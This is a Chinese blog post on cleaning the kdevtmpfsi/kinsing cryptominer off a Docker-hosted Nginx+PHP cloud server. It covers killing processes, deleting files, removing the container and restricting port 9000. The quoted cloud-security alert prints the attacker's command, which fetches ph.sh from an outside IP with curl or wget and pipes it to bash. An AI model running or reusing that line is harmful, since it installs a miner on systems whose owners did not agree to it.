1. 程式人生 > 其它 >雲伺服器處置挖礦病毒 kdevtmpfsi

雲伺服器處置挖礦病毒 kdevtmpfsi

檢視告警資訊

昨天剛在伺服器中通過 docker 上線了一個 Nginx+PHP 站點(雙容器連結),半夜時分就接收到了阿里雲發來的告警資訊。

惡意指令碼程式碼執行 緊急
發生時間:2022-05-19 00:54:55
IP:*** ***
告警描述:檢測模型發現您的伺服器上正在執行惡意的Bash、Powershell、Python等指令碼程式碼。

異常事件詳情
命令列:curl -s http://185.14.30.35/ph.sh
程序PID:14065
程序檔名:curl
父程序ID:14063
父程序:bash
父程序檔案路徑:/usr/bin/bash

程序鏈:
-[874]  /usr/bin/containerd
    -[13606]  containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
        -[13613]  runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac/log.json --log-format json create --bundle /run/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac --pid-file /run/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac/init.pid e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac
            -[13622]  php-fpm
                -[13673]  php-fpm
                    -[14062]  sh -c [ -f "/bin/bash" ] && (curl -s http://185.14.30.35/ph.sh||wget -q -O- http://185.14.30.35/ph.sh)|bash || (curl -s http://185.14.30.35/ph2.sh||wget -q -O- http://185.14.30.35/ph2.sh)|sh
                        -[14063]  sh -c [ -f "/bin/bash" ] && (curl -s http://185.14.30.35/ph.sh||wget -q -O- http://185.14.30.35/ph.sh)|bash || (curl -s http://185.14.30.35/ph2.sh||wget -q -O- http://185.14.30.35/ph2.sh)|sh

事件說明:雲安全中心檢測到您的主機正在執行惡意的指令碼程式碼(包括但不限於bash、powershell、python),請立刻排查入侵來源。如果是您的運維行為,請選擇忽略。

分析惡意程式碼來源

基本上就是兩種情況:一是外部攻破了防火牆,通過SSH或者注入執行的指令碼;二是此前上線的站點中存在惡意程式碼。

由於我使用的是金鑰檔案登入而禁用了密碼,基本上可以確定是本地檔案的問題。

根據告警資訊,提示了一個 IPv4地址的伺服器。想都不用想,IP 地址肯定做了中轉,一查顯示“荷蘭弗萊福蘭”,直接略過。

更重要的是 “php-fpm” 這一提示,說明 Nginx 交由 php-fpm 解析的檔案中存在問題。

進行處置

停止執行

SSH 上伺服器後,top 檢視有沒有異常程式,發現了 CPU 滿佔用的程序 kdevtmpfsi 。網上搜索它其實是一個挖礦程式,由 kinsing

程序守護。

ps -ef | grep kdevtmpfsi
systemctl status [kdevtmpfsi PID]
# 若病毒程序隱藏的好,或者像我使用的是輕量級應用伺服器,這一步其實看不到什麼資訊
ps -ef | grep kinsing

kill -9 [kdevtmpfsi PID] [kinsing PID]
# 臨時強制停止服務,惡意程式會自啟,要抓緊時間找到原始檔

找到病毒原始檔

find / -name "kdevtmpfsi"
find / -name "kinsing"

主機中搜索相關檔案,發現在 /tmp/ 和類似 /var/lib/docker/ovorlay2/****/tmp/kdevtmpfsi

中找到檔案。先刪除能刪的,無法刪除的提示“無效控制代碼”的都在 docker 容器中。

find / -name "kdevtmpfsi" | xargs rm -rf
find / -name "kinsing" | xargs rm -rf

因 Nginx 將 PHP 檔案交由 php-fpm 容器渲染,惡意挖礦程式大概率在 php-fpm 容器中。

現將上線的 PHP 檔案打包備份用於之後在沙箱中分析,刪除原 PHP 檔案。

接下來分析 php-fpm 容器中的程序,發現確實在該容器中執行。

docker top php-fpm-rc

docker 官方上傳的映象一般沒有什麼問題,需要將 php-fpm 容器(連同其資料卷一同)刪除。

至此,病毒理應不會再次上線。

幸虧每次上線服務前,我都會存個快照,為防止病毒沒有刪除乾淨,恢復快照重新來過。

沙箱分析

通過沙箱分析未發現有惡意程式碼,考慮到 kdevtmpfsi 挖礦病毒出來時間已經幾年了,分析結果應該可信。說明是伺服器被攻擊執行的惡意程式碼。

檢查伺服器防火牆

核實伺服器埠許可權

官方 php-fpm 容器預設埠為 9000 ,可能攻擊者因此會共計所有 9000埠開放的主機,所以需要配置訪問來源規則 ***.***.***.***/0 ,或者修改為其他埠。而我使用的9000埠則是之前一個開放的訪問埠,未作修改,現將埠許可權修改再做測試。